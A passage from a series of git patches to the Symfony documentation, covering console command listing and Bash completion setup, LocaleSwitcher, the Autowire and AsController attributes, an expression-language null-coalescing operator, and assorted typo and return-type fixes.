zEWG)3k?^PX1z(rM-jvO_SR9BXF#|Yc^fV1%2N{Y^x0`5}I+<-S%b@Bt9MoJduf^@t
z`@>xWJcD{!NY^N)_59@&WwxtK;xX)A?qx4`b$I%u3Eg6BcM=2KN$8bQ`}dww5BK8I
zq2~1qNdK$gU}34{tYCnSO=ec?BCE7CK(U5ATPOwHWuT%irbw^{0&t4{8Q*O+W#Dn$
zZGKMKY{{LaFi91q?9{2=M~pjWis~j-i6#TPApJauT;&<lS`2Q*0Cj9@;D<0n62rg`
zi_WOq_6q|%23$P8h%oes{G#yS;Q{^BU}#^jn>D~cEsf6whb(%^3N7pIfTy(|XBNEM
zcja0bFCrIA*r?yf9{e}<PSR;~7O6UuboV^%?s5L$_4O|uOmX+Z?ftyH&d=1=r$dXt
zy=z@V`SLyQIeJ*FdlD4)mW}t``$7}p!aXqPAB~m%39gAea~}=ecYTV`FAe^kWD;kX
zr1_>Ap-HAS)eW2KS4@o?CI!iSHN$)@-`pZJtF&g#uvxcaZrd>HNtT-#md<=jm(bFq
zwe${K`u`ufY-`v~vW{g~C-SXd39SyT)irE=xMH2%u)0aM`3&2meA{FHg<N4<*4pyi
zwr^K#i@C)s!?y1>Y)><apY_>({Moh^SNwe1_VYCQ7gF(yZNSU8(N`PX*TT_veWNd?
zM}J%4ZjeS1@%F7;dw`XTvW^7x+XElk@jC9df{`8Z54Pt$*e&Aj;*1bET++jl_Y1fY
zxRJ;_ZdCo~@8h`?-Pkwx#^S@df7~3K``!2ltDJ)c<EgswbnEz`)$zld<J9m8KTr8c
z!Nf<R3A%2AVV%fZo%ncjf*C$};?U$L1(TnOCQtsauzmF5(Smq3o)!1`A$EL1<`<ji
i>d3^e3d7lK4~e~c&fpD5g0jySoZHSsv3G+&#(x3Uc;qVp

literal 0
HcmV?d00001

diff --git a/console.rst b/console.rst
index 9de02a4b882..9dd9cecddb4 100644
--- a/console.rst
+++ b/console.rst
@@ -9,15 +9,90 @@ The Symfony framework provides lots of commands through the ``bin/console`` scri
 created with the :doc:`Console component </components/console>`. You can also
 use it to create your own commands.
 
-The Console: APP_ENV & APP_DEBUG
----------------------------------
+Running Commands
+----------------
+
+Each Symfony application comes with a large set of commands. You can use
+the ``list`` command to view all available commands in the application:
+
+.. code-block:: terminal
+
+    $ php bin/console list
+    ...
+
+    Available commands:
+      about                                      Display information about the current project
+      completion                                 Dump the shell completion script
+      help                                       Display help for a command
+      list                                       List commands
+     assets
+      assets:install                             Install bundle's web assets under a public directory
+     cache
+      cache:clear                                Clear the cache
+    ...
+
+If you find the command you need, you can run it with the ``--help`` option
+to view the command's documentation:
+
+.. code-block:: terminal
+
+    $ php bin/console assets:install --help
+
+APP_ENV & APP_DEBUG
+~~~~~~~~~~~~~~~~~~~
 
 Console commands run in the :ref:`environment <config-dot-env>` defined in the ``APP_ENV``
 variable of the ``.env`` file, which is ``dev`` by default. It also reads the ``APP_DEBUG``
 value to turn "debug" mode on or off (it defaults to ``1``, which is on).
 
 To run the command in another environment or debug mode, edit the value of ``APP_ENV``
-and ``APP_DEBUG``.
+and ``APP_DEBUG``. You can also define this env vars when running the
+command, for instance:
+
+.. code-block:: terminal
+
+    # clears the cache for the prod environment
+    $ APP_ENV=prod php bin/console cache:clear
+
+.. _console-completion-setup:
+
+Console Completion
+~~~~~~~~~~~~~~~~~~
+
+.. versionadded:: 5.4
+
+    Console completion for Bash was introduced in Symfony 5.4.
+
+If you are using the Bash shell, you can install Symfony's completion
+script to get auto completion when typing commands in the terminal. All
+commands support name and option completion, and some can even complete
+values.
+
+.. image:: /_images/components/console/completion.gif
+
+First, make sure you installed and setup the "bash completion" package for
+your OS (typically named ``bash-completion``). Then, install the Symfony
+completion bash script *once* by running the ``completion`` command in a
+Symfony app installed on your computer:
+
+.. code-block:: terminal
+
+    $ php bin/console completion bash | sudo tee /etc/bash_completion.d/console-events-terminate
+    # after the installation, restart the shell
+
+Now you are all set to use the auto completion for all Symfony Console
+applications on your computer. By default, you can get a list of complete
+options by pressing the Tab key.
+
+.. tip::
+
+    Many PHP tools are built using the Symfony Console component (e.g.
+    Composer, PHPstan and Behat). If they are using version 5.4 or higher,
+    you can also install their completion script to enable console completion:
+
+    .. code-block:: terminal
+
+        $ php vendor/bin/phpstan completion bash | sudo tee /etc/bash_completion.d/phpstan
 
 Creating a Command
 ------------------
@@ -38,11 +113,6 @@ want a command to create a user::
         // the name of the command (the part after "bin/console")
         protected static $defaultName = 'app:create-user';
 
-        protected function configure(): void
-        {
-            // ...
-        }
-
         protected function execute(InputInterface $input, OutputInterface $output): int
         {
             // ... put here the code to create the user
@@ -74,37 +144,41 @@ want a command to create a user::
     The ``Command::INVALID`` constant was introduced in Symfony 5.3
 
 Configuring the Command
------------------------
+~~~~~~~~~~~~~~~~~~~~~~~
 
 You can optionally define a description, help message and the
-:doc:`input options and arguments </console/input>`::
+:doc:`input options and arguments </console/input>` by overriding the
+``configure()`` method::
 
-    // ...
-    // the command description shown when running "php bin/console list"
-    protected static $defaultDescription = 'Creates a new user.';
+    // src/Command/CreateUserCommand.php
 
     // ...
-    protected function configure(): void
+    class CreateUserCommand extends Command
     {
-        $this
-            // If you don't like using the $defaultDescription static property,
-            // you can also define the short description using this method:
-            // ->setDescription('...')
+        // the command description shown when running "php bin/console list"
+        protected static $defaultDescription = 'Creates a new user.';
 
-            // the command help shown when running the command with the "--help" option
-            ->setHelp('This command allows you to create a user...')
-        ;
+        // ...
+        protected function configure(): void
+        {
+            $this
+                // the command help shown when running the command with the "--help" option
+                ->setHelp('This command allows you to create a user...')
+            ;
+        }
     }
 
-Defining the ``$defaultDescription`` static property instead of using the
-``setDescription()`` method allows to get the command description without
-instantiating its class. This makes the ``php bin/console list`` command run
-much faster.
+.. tip::
+
+    Defining the ``$defaultDescription`` static property instead of using the
+    ``setDescription()`` method allows to get the command description without
+    instantiating its class. This makes the ``php bin/console list`` command run
+    much faster.
 
-If you want to always run the ``list`` command fast, add the ``--short`` option
-to it (``php bin/console list --short``). This will avoid instantiating command
-classes, but it won't show any description for commands that use the
-``setDescription()`` method instead of the static property.
+    If you want to always run the ``list`` command fast, add the ``--short`` option
+    to it (``php bin/console list --short``). This will avoid instantiating command
+    classes, but it won't show any description for commands that use the
+    ``setDescription()`` method instead of the static property.
 
 .. versionadded:: 5.3
 
@@ -144,7 +218,7 @@ available in the ``configure()`` method::
     }
 
 Registering the Command
------------------------
+~~~~~~~~~~~~~~~~~~~~~~~
 
 In PHP 8 and newer versions, you can register the command by adding the
 ``AsCommand`` attribute to it::
@@ -155,6 +229,8 @@ In PHP 8 and newer versions, you can register the command by adding the
     use Symfony\Component\Console\Attribute\AsCommand;
     use Symfony\Component\Console\Command\Command;
 
+    // the "name" and "description" arguments of AsCommand replace the
+    // static $defaultName and $defaultDescription properties
     #[AsCommand(
         name: 'app:create-user',
         description: 'Creates a new user.',
@@ -176,8 +252,8 @@ If you can't use PHP attributes, register the command as a service and
 :ref:`default services.yaml configuration <service-container-services-load-example>`,
 this is already done for you, thanks to :ref:`autoconfiguration <services-autoconfigure>`.
 
-Executing the Command
----------------------
+Running the Command
+~~~~~~~~~~~~~~~~~~~
 
 After configuring and registering the command, you can run it in the terminal:
 
@@ -468,7 +544,7 @@ call ``setAutoExit(false)`` on it to get the command result in ``CommandTester``
 
         $application = new Application();
         $application->setAutoExit(false);
-        
+
         $tester = new ApplicationTester($application);
 
 .. note::
diff --git a/console/input.rst b/console/input.rst
index 3bbba7e5fce..efdacee2ce5 100644
--- a/console/input.rst
+++ b/console/input.rst
@@ -308,4 +308,91 @@ The above code can be simplified as follows because ``false !== null``::
     $yell = ($optionValue !== false);
     $yellLouder = ($optionValue === 'louder');
 
+Adding Argument/Option Value Completion
+---------------------------------------
+
+.. versionadded:: 5.4
+
+    Console completion was introduced in Symfony 5.4.
+
+If :ref:`Console completion is installed <console-completion-setup>`,
+command and option names will be auto completed by the shell. However, you
+can also implement value completion for the input in your commands. For
+instance, you may want to complete all usernames from the database in the
+``name`` argument of your greet command.
+
+To achieve this, override the ``complete()`` method in the command::
+
+    // ...
+    use Symfony\Component\Console\Completion\CompletionInput;
+    use Symfony\Component\Console\Completion\CompletionSuggestions;
+
+    class GreetCommand extends Command
+    {
+        // ...
+
+        public function complete(CompletionInput $input, CompletionSuggestions $suggestions): void
+        {
+            if ($input->mustSuggestArgumentValuesFor('names')) {
+                // the user asks for completion input for the "names" option
+
+                // the value the user already typed, e.g. when typing "app:greet Fa" before
+                // pressing Tab, this will contain "Fa"
+                $currentValue = $input->getCompletionValue();
+
+                // get the list of username names from somewhere (e.g. the database)
+                // you may use $currentValue to filter down the names
+                $availableUsernames = ...;
+
+                // then add the retrieved names as suggested values
+                $suggestions->suggestValues($availableUsernames);
+            }
+        }
+    }
+
+That's all you need! Assuming users "Fabien" and "Fabrice" exist, pressing
+tab after typing ``app:greet Fa`` will give you these names as a suggestion.
+
+.. tip::
+
+    The bash shell is able to handle huge amounts of suggestions and will
+    automatically filter the suggested values based on the existing input
+    from the user. You do not have to implement any filter logic in the
+    command.
+
+    You may use ``CompletionInput::getCompletionValue()`` to get the
+    current input if that helps improving performance (e.g. by reducing the
+    number of rows fetched from the database).
+
+Testing the Completion script
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+The Console component comes with a special
+:class:`Symfony\\Component\\Console\\Test\\CommandCompletionTester`` class
+to help you unit test the completion logic::
+
+    // ...
+    use Symfony\Component\Console\Application;
+
+    class GreetCommandTest extends TestCase
+    {
+        public function testComplete()
+        {
+            $application = new Application();
+            $application->add(new GreetCommand());
+
+            // create a new tester with the greet command
+            $tester = new CommandCompletionTester($application->get('app:greet'));
+
+            // complete the input without any existing input (the empty string represents
+            // the position of the cursor)
+            $suggestions = $tester->complete(['']);
+            $this->assertSame(['Fabien', 'Fabrice', 'Wouter'], $suggestions);
+
+            // complete the input with "Fa" as input
+            $suggestions = $tester->complete(['Fa']);
+            $this->assertSame(['Fabien', 'Fabrice'], $suggestions);
+        }
+    }
+
 .. _`docopt standard`: http://docopt.org/
diff --git a/page_creation.rst b/page_creation.rst
index a8d97aac618..af315b188c4 100644
--- a/page_creation.rst
+++ b/page_creation.rst
@@ -195,6 +195,13 @@ the debugging routes in the next section.
 
 You'll learn about many more commands as you continue!
 
+.. tip::
+
+    If you are using the Bash shell, you can set up completion support.
+    This autocompletes commands and other input when using ``bin/console``.
+    See :ref:`the Console document <console-completion-setup>` for more
+    information on how to set up completion.
+
 .. _web-debug-toolbar:
 
 The Web Debug Toolbar: Debugging Dream

From 7f8345ffccbb069c04655a23064905c5e7df64be Mon Sep 17 00:00:00 2001
From: Kevin Bond <kevinbond@gmail.com>
Date: Mon, 18 Apr 2022 09:28:45 -0400
Subject: [PATCH 3170/7107] [Translation] document `LocaleSwitcher`

---
 translation.rst | 63 +++++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 63 insertions(+)

diff --git a/translation.rst b/translation.rst
index 72741575376..9b1021948dd 100644
--- a/translation.rst
+++ b/translation.rst
@@ -827,6 +827,69 @@ checks translation resources for several locales:
     add the missing translation to the log file. For details,
     see :ref:`reference-framework-translator-logging`.
 
+Switch Locale Programmatically
+------------------------------
+
+.. versionadded:: 6.1
+
+    The ``LocaleSwitcher`` was introduced in Symfony 6.1.
+
+Sometimes you need to change the locale of the application dynamically
+just to run some code. Imagine a console command that renders Twig templates
+of emails in different languages. You need to change the locale only to
+render those templates.
+
+The ``LocaleSwitcher`` class allows you to change at once the locale
+of:
+
+* All the services that are tagged with ``kernel.locale_aware``;
+* ``\Locale::setDefault()``;
+* If a request is available, the ``_locale`` request attribute.
+
+.. code-block:: php
+
+    use Symfony\Component\Translation\LocaleSwitcher;
+
+    class SomeClass
+    {
+        private LocaleSwitcher $localeSwitcher;
+
+        public function __construct(LocaleSwitcher $localeSwitcher)
+        {
+            $this->localeSwitcher = $localeSwitcher;
+        }
+
+        public function someMethod()
+        {
+            // you can get the current application locale like this:
+            $currentLocale = $this->localeSwitcher->getLocale();
+
+            // you can set the locale for the entire application like this:
+            // (from now on, the application will use 'fr' (French) as the
+            // locale; including the default locale used to translate Twig templates)
+            $this->localeSwitcher->setLocale('fr');
+
+            // reset the current locale of your application to the configured default locale
+            // in config/packages/translation.yaml, by option 'default_locale'
+            $this->localeSwitcher->reset();
+
+            // you can also run some code with a certain locale, without
+            // changing the locale for the rest of the application
+            $this->localeSwitcher->runWithLocale('es', function() {
+
+                // e.g. render here some Twig templates using 'es' (Spanish) locale
+
+            });
+
+            // ...
+        }
+    }
+
+.. note::
+
+    The class :class:`Symfony\\Component\\Translation\\LocaleSwitcher` is
+    autowired to the ``translation.locale_switcher`` service.
+
 Translating Database Content
 ----------------------------
 

From 4c9291d7d364abeb7d507f681acca425dbc7f25e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 21 Apr 2022 13:48:04 +0200
Subject: [PATCH 3171/7107] Minor reword

---
 translation.rst | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/translation.rst b/translation.rst
index 9b1021948dd..85d84a938fa 100644
--- a/translation.rst
+++ b/translation.rst
@@ -850,7 +850,7 @@ of:
 
     use Symfony\Component\Translation\LocaleSwitcher;
 
-    class SomeClass
+    class SomeService
     {
         private LocaleSwitcher $localeSwitcher;
 
@@ -885,10 +885,10 @@ of:
         }
     }
 
-.. note::
-
-    The class :class:`Symfony\\Component\\Translation\\LocaleSwitcher` is
-    autowired to the ``translation.locale_switcher`` service.
+When using :ref:`autowiring <services-autowire>`, type-hint any controller or
+service argument with the :class:`Symfony\\Component\\Translation\\LocaleSwitcher`
+class to inject the locale switcher service. Otherwise, configure your services
+manually and inject the ``translation.locale_switcher`` service.
 
 Translating Database Content
 ----------------------------

From 6e7b827d77a83bb606dc644eae78e31b2c374406 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Thu, 21 Apr 2022 14:06:12 +0200
Subject: [PATCH 3172/7107] No longer mention a deprecated interface

---
 security.rst | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/security.rst b/security.rst
index e04a67e41a6..3db9857f17a 100644
--- a/security.rst
+++ b/security.rst
@@ -2503,9 +2503,10 @@ However, in some cases, this process can cause unexpected authentication problem
 If you're having problems authenticating, it could be that you *are* authenticating
 successfully, but you immediately lose authentication after the first redirect.
 
-In that case, review the serialization logic (e.g. ``\Serializable`` interface) on
-you user class (if you have any) to make sure that all the fields necessary are
-serialized and also exclude all the fields not necessary to be serialized (relations).
+In that case, review the serialization logic (e.g. the ``__serialize()`` or
+``serialize()`` methods) on you user class (if you have any) to make sure
+that all the fields necessary are serialized and also exclude all the
+fields not necessary to be serialized (e.g. Doctrine relations).
 
 Comparing Users Manually with EquatableInterface
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

From f32aec1dc00e15dcddb41e10a746959c22d8e971 Mon Sep 17 00:00:00 2001
From: Kevin Bond <kevinbond@gmail.com>
Date: Fri, 18 Mar 2022 11:09:53 -0400
Subject: [PATCH 3173/7107] [DI][HttpKernel] document `Autowire` attribute

---
 controller.rst        | 41 ++++++++++++++++++++++++++++++++++-
 service_container.rst | 50 +++++++++++++++++++++++++++++++++++++++++++
 2 files changed, 90 insertions(+), 1 deletion(-)

diff --git a/controller.rst b/controller.rst
index a7ddd67c3e9..c1510ba6896 100644
--- a/controller.rst
+++ b/controller.rst
@@ -153,7 +153,7 @@ and ``redirect()`` methods::
 
         // redirects to a route and maintains the original query string parameters
         return $this->redirectToRoute('blog_show', $request->query->all());
-        
+
         // redirects to the current route (e.g. for Post/Redirect/Get pattern):
         return $this->redirectToRoute($request->attributes->get('_route'));
 
@@ -286,6 +286,45 @@ in your controllers.
 
 For more information about services, see the :doc:`/service_container` article.
 
+Autowire Parameter Attribute
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+.. versionadded:: 6.1
+
+    The ``#[Autowire]`` attribute was introduced in Symfony 6.1.
+
+Services that cannot be autowired, :ref:`parameters <service-parameters>` and even
+:doc:`complex expressions </service_container/expression_language>` can be bound
+to a controller argument with the ``#[Autowire]`` attribute::
+
+    use Psr\Log\LoggerInterface;
+    use Symfony\Component\DependencyInjection\Attribute\Autowire;
+    use Symfony\Component\HttpFoundation\Response;
+    // ...
+
+    /**
+     * @Route("/lucky/number/{max}")
+     */
+    public function number(
+        int $max,
+
+        #[Autowire('@monolog.logger.request')]
+        LoggerInterface $logger,
+
+        #[Autowire('%kernel.project_dir%/data')]
+        string $dataDir,
+
+        #[Autowire('%kernel.debug%')]
+        bool $debugMode,
+
+        #[Autowire("@=service("App\\Mail\\MailerConfiguration").getMailerMethod()")]
+        string $mailerMethod,
+    ): Response
+    {
+        $logger->info('We are logging!');
+        // ...
+    }
+
 Generating Controllers
 ----------------------
 
diff --git a/service_container.rst b/service_container.rst
index 6b6015a02e8..4e613c90708 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -687,6 +687,56 @@ For a full list of *all* possible services in the container, run:
 
 .. _services-binding:
 
+Autowire Parameter Attribute
+----------------------------
+
+.. versionadded:: 6.1
+
+    The ``#[Autowire]`` attribute was introduced in Symfony 6.1.
+
+For services that cannot be autowired, you can use the ``#[Autowire]`` parameter
+attribute to explicitly configure the service::
+
+    // src/Service/MessageGenerator.php
+    namespace App\Service;
+
+    use Psr\Log\LoggerInterface;
+    use Symfony\Component\DependencyInjection\Attribute\Autowire;
+
+    class MessageGenerator
+    {
+        public function __construct(
+            #[Autowire('@monolog.logger.request')] private LoggerInterface $logger
+        ) {
+        }
+        // ...
+    }
+
+The ``#[Autowire]`` can also be used for :ref:`parameters <service-parameters>` and even
+:doc:`complex expressions </service_container/expression_language>`::
+
+    // src/Service/MessageGenerator.php
+    namespace App\Service;
+
+    use Psr\Log\LoggerInterface;
+    use Symfony\Component\DependencyInjection\Attribute\Autowire;
+
+    class MessageGenerator
+    {
+        public function __construct(
+            #[Autowire('%kernel.project_dir%/data')]
+            private string $dataDir,
+
+            #[Autowire('%kernel.debug%')]
+            private bool $debugMode,
+
+            #[Autowire("@=service("App\\Mail\\MailerConfiguration").getMailerMethod()")]
+            private string $mailerMethod,
+        ) {
+        }
+        // ...
+    }
+
 Binding Arguments by Name or Type
 ---------------------------------
 

From 4c9fca9f965bfac543ad1b2cba0e7035629bd73b Mon Sep 17 00:00:00 2001
From: Chris Halbert <christopher.halbert@gmail.com>
Date: Thu, 21 Apr 2022 10:06:46 -0400
Subject: [PATCH 3174/7107] Provide note about php internals and lazy services

---
 service_container/lazy_services.rst | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/service_container/lazy_services.rst b/service_container/lazy_services.rst
index 7b33bcdfcac..a70b3358a84 100644
--- a/service_container/lazy_services.rst
+++ b/service_container/lazy_services.rst
@@ -27,6 +27,8 @@ until you interact with the proxy in some way.
 
     Lazy services do not support `final`_ classes.
 
+    Lazy services do not support default parameters for php internals, like ``PDO`` in releases prior to PHP 8.0.
+
 Installation
 ------------
 

From 81204c3ea610c867f20e27c0afb072212d627250 Mon Sep 17 00:00:00 2001
From: Sofien Naas <mytuny@outlook.com>
Date: Fri, 22 Apr 2022 01:18:59 +0100
Subject: [PATCH 3175/7107] [ExpressionLanguage] Feature Null-coalescing
 operator

---
 components/expression_language/syntax.rst | 12 ++++++++++++
 1 file changed, 12 insertions(+)

diff --git a/components/expression_language/syntax.rst b/components/expression_language/syntax.rst
index 9f0ace947b0..92a69b01642 100644
--- a/components/expression_language/syntax.rst
+++ b/components/expression_language/syntax.rst
@@ -343,6 +343,18 @@ Ternary Operators
 * ``foo ?: 'no'`` (equal to ``foo ? foo : 'no'``)
 * ``foo ? 'yes'`` (equal to ``foo ? 'yes' : ''``)
 
+Null-coalescing Operator
+~~~~~~~~~~~~~~~~~~~~~~~~
+
+This is the same as the PHP's null-coalescing operator ``??`` which is a syntactic sugar for the use of a ternary 
+in conjunction with isset(). It returns the left hand-side if it exist and not ``null`` otherwise it returns the right hand-side.
+Note that coalescing can be chained.
+
+* ``foo ?? 'no'``
+* ``foo.baz ?? 'no'``
+* ``foo[3] ?? 'no'``
+* ``foo.baz ?? foo['baz'] ?? 'no'``
+
 Built-in Objects and Variables
 ------------------------------
 

From d2f6b0dc92c0a3e7e549ad9f3421fbebcad05e9d Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Szymon=20Kami=C5=84ski?= <kaminskisj@gmail.com>
Date: Sun, 24 Apr 2022 17:31:20 +0200
Subject: [PATCH 3176/7107] [HttpKernel] Document AsController attribute

---
 controller/service.rst | 24 ++++++++++++++++++++++++
 1 file changed, 24 insertions(+)

diff --git a/controller/service.rst b/controller/service.rst
index 017b99c61c1..f1fb3e6258b 100644
--- a/controller/service.rst
+++ b/controller/service.rst
@@ -28,6 +28,30 @@ in method parameters:
            resource: '../src/Controller/'
            tags: ['controller.service_arguments']
 
+.. versionadded:: 5.3
+
+    The ``#[AsController]`` attribute was introduced in Symfony 5.3.
+
+If you are using PHP 8.0 or later, you can use the ``#[AsController]`` PHP
+attribute to automatically apply the ``controller.service_arguments`` tag to
+your controller services::
+
+    // src/Controller/HelloController.php
+    namespace App\Controller;
+
+    use Symfony\Component\HttpKernel\Attribute\AsController;
+    use Symfony\Component\Routing\Annotation\Route;
+
+    #[AsController]
+    class HelloController
+    {
+        #[Route('/hello', name: 'hello', methods: ['GET'])]
+        public function index()
+        {
+            // ...
+        }
+    }
+
 Registering your controller as a service is the first step, but you also need to
 update your routing config to reference the service properly, so that Symfony
 knows to use it.

From 4dcabf93524098c6315def69508a419a91a2689f Mon Sep 17 00:00:00 2001
From: Quentin Dequippe <quentin.dequippe@egerie.eu>
Date: Mon, 25 Apr 2022 10:27:45 +0200
Subject: [PATCH 3177/7107] Add caution message about reset container on each
 request

---
 testing.rst | 14 +++++++++++---
 1 file changed, 11 insertions(+), 3 deletions(-)

diff --git a/testing.rst b/testing.rst
index 914a2fccc82..51943e91cd8 100644
--- a/testing.rst
+++ b/testing.rst
@@ -535,6 +535,14 @@ This allows you to create all types of requests you can think of:
     :ref:`framework.test <reference-framework-test>` option is enabled).
     This means you can override the service entirely if you need to.
 
+.. caution::
+
+    Before each request with the client, the client "resets" the container and recreates it from scratch.
+    That gives each request an "isolated" environment because each request will create new service objects.
+    But for example, when using the entity manager of Doctrine, all entities loaded with it are "lost"
+    when a new request is sent (because the entity manager was "reset"). You have to query again entities if you want
+    to have entities in "valid state".
+
 Browsing the Site
 .................
 
@@ -898,16 +906,16 @@ Response Assertions
     Asserts the response format returned by the
     :method:`Symfony\\Component\\HttpFoundation\\Response::getFormat` method
     is the same as the expected value.
-``assertResponseIsUnprocessable(string $message = '')`` 
+``assertResponseIsUnprocessable(string $message = '')``
     Asserts the response is unprocessable (HTTP status is 422)
 
 .. versionadded:: 5.3
 
     The ``assertResponseFormatSame()`` method was introduced in Symfony 5.3.
-    
+
 .. versionadded:: 5.4
 
-    The ``assertResponseIsUnprocessable()`` method was introduced in Symfony 5.4.   
+    The ``assertResponseIsUnprocessable()`` method was introduced in Symfony 5.4.
 
 Request Assertions
 ..................

From 89ecc0a53fd23a057f157f357eb4279d80a77d31 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Daniel=20Koz=C3=A1k?= <kozzi11@gmail.com>
Date: Mon, 25 Apr 2022 10:30:31 +0200
Subject: [PATCH 3178/7107] [Messenger] Fix typo in option name user->login

---
 messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index 605561e39d5..c1eb7807f8a 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1233,6 +1233,7 @@ The transport has a number of options:
                                               calls.
 ``host``                                      Hostname of the AMQP service
 ``key``                                       Path to the client key in PEM format.
+``login``                                     Username to use to connect the AMQP service
 ``password``                                  Password to use to connect to the AMQP service
 ``persistent``                                                                                   ``'false'``
 ``port``                                      Port of the AMQP service
@@ -1241,7 +1242,6 @@ The transport has a number of options:
                                               greater seconds. May be fractional.
 ``retry``
 ``sasl_method``
-``user``                                      Username to use to connect the AMQP service
 ``verify``                                    Enable or disable peer verification. If peer
                                               verification is enabled then the common name in
                                               the server certificate must match the server

From 18d9b7373006146508a98ed15dfed8ceaaed00af Mon Sep 17 00:00:00 2001
From: Laurent VOULLEMIER <laurent.voullemier@gmail.com>
Date: Mon, 25 Apr 2022 15:58:26 +0200
Subject: [PATCH 3179/7107] Use JsonResponse/BinaryFileResponse instead of
 Response

Use JsonResponse/BinaryFileResponse as return type when json/file methods are used
---
 controller.rst | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/controller.rst b/controller.rst
index 1b2642c4063..e04bfd7a43d 100644
--- a/controller.rst
+++ b/controller.rst
@@ -601,10 +601,10 @@ Returning JSON Response
 To return JSON from a controller, use the ``json()`` helper method. This returns a
 ``JsonResponse`` object that encodes the data automatically::
 
-    use Symfony\Component\HttpFoundation\Response;
+    use Symfony\Component\HttpFoundation\JsonResponse;
     // ...
 
-    public function index(): Response
+    public function index(): JsonResponse
     {
         // returns '{"username":"jane.doe"}' and sets the proper Content-Type header
         return $this->json(['username' => 'jane.doe']);
@@ -623,10 +623,10 @@ Streaming File Responses
 You can use the :method:`Symfony\\Bundle\\FrameworkBundle\\Controller\\AbstractController::file`
 helper to serve a file from inside a controller::
 
-    use Symfony\Component\HttpFoundation\Response;
+    use Symfony\Component\HttpFoundation\BinaryFileResponse;
     // ...
 
-    public function download(): Response
+    public function download(): BinaryFileResponse
     {
         // send the file contents and force the browser to download it
         return $this->file('/path/to/some_file.pdf');
@@ -638,7 +638,7 @@ The ``file()`` helper provides some arguments to configure its behavior::
     use Symfony\Component\HttpFoundation\ResponseHeaderBag;
     // ...
 
-    public function download(): Response
+    public function download(): BinaryFileResponse
     {
         // load the file from the filesystem
         $file = new File('/path/to/some_file.pdf');

From 8cfd997854af1d5979350dc69b662a49ec623853 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 25 Apr 2022 17:51:47 +0200
Subject: [PATCH 3180/7107] [Console] Remove some unneeded versionadded
 directives

---
 console.rst       | 4 ----
 console/input.rst | 4 ----
 2 files changed, 8 deletions(-)

diff --git a/console.rst b/console.rst
index d1c66031899..1d1e149afea 100644
--- a/console.rst
+++ b/console.rst
@@ -59,10 +59,6 @@ command, for instance:
 Console Completion
 ~~~~~~~~~~~~~~~~~~
 
-.. versionadded:: 5.4
-
-    Console completion for Bash was introduced in Symfony 5.4.
-
 If you are using the Bash shell, you can install Symfony's completion
 script to get auto completion when typing commands in the terminal. All
 commands support name and option completion, and some can even complete
diff --git a/console/input.rst b/console/input.rst
index 9c1914500dd..36718199e6f 100644
--- a/console/input.rst
+++ b/console/input.rst
@@ -307,10 +307,6 @@ The above code can be simplified as follows because ``false !== null``::
 Adding Argument/Option Value Completion
 ---------------------------------------
 
-.. versionadded:: 5.4
-
-    Console completion was introduced in Symfony 5.4.
-
 If :ref:`Console completion is installed <console-completion-setup>`,
 command and option names will be auto completed by the shell. However, you
 can also implement value completion for the input in your commands. For

From 979bf2a1a4a201c73e12616672f1d837f633fb51 Mon Sep 17 00:00:00 2001
From: Jon Green <jon@tjs.co.uk>
Date: Thu, 21 Apr 2022 17:30:20 +0100
Subject: [PATCH 3181/7107] Fix tag attribute in event XML example

---
 security.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security.rst b/security.rst
index 3db9857f17a..ba1e521711b 100644
--- a/security.rst
+++ b/security.rst
@@ -2561,7 +2561,7 @@ for these events.
 
                     <service id="App\EventListener\CustomLogoutSubscriber">
                         <tag name="kernel.event_subscriber"
-                             dispacher="security.event_dispatcher.main"
+                             dispatcher="security.event_dispatcher.main"
                          />
                     </service>
                 </services>

From 74e617461f80fd4fbc44f46cbc048d29b8429936 Mon Sep 17 00:00:00 2001
From: Daniel Lima <yourwebmaker@gmail.com>
Date: Thu, 21 Apr 2022 20:01:55 +0200
Subject: [PATCH 3182/7107] Fix fetch method

---
 doctrine/dbal.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/doctrine/dbal.rst b/doctrine/dbal.rst
index a1aa4291eb2..ab1947bd1bb 100644
--- a/doctrine/dbal.rst
+++ b/doctrine/dbal.rst
@@ -55,7 +55,7 @@ object::
     {
         public function index(Connection $connection): Response
         {
-            $users = $connection->fetchAll('SELECT * FROM users');
+            $users = $connection->fetchAllAssociative('SELECT * FROM users');
 
             // ...
         }

From 834839d2795bf492d46911d79ab1ce1f6e292a2a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 26 Apr 2022 09:35:45 +0200
Subject: [PATCH 3183/7107] Minor tweak

---
 security/custom_authenticator.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/security/custom_authenticator.rst b/security/custom_authenticator.rst
index 773e31360b7..bc2f116bbc4 100644
--- a/security/custom_authenticator.rst
+++ b/security/custom_authenticator.rst
@@ -178,7 +178,8 @@ can define what happens in these cases:
 
 .. tip::
 
-    If your login method is interactive, which means that the user actively logged into your application, you may want your authenticator to implement the 
+    If your login method is interactive, which means that the user actively
+    logged into your application, you may want your authenticator to implement the
     :class:`Symfony\\Component\\Security\\Http\\Authenticator\\InteractiveAuthenticatorInterface`
     so that it dispatches an 
     :class:`Symfony\\Component\\Security\\Http\\Event\\InteractiveLoginEvent`

From 555f7f35a3cd6f377f433d60328f88f24430c138 Mon Sep 17 00:00:00 2001
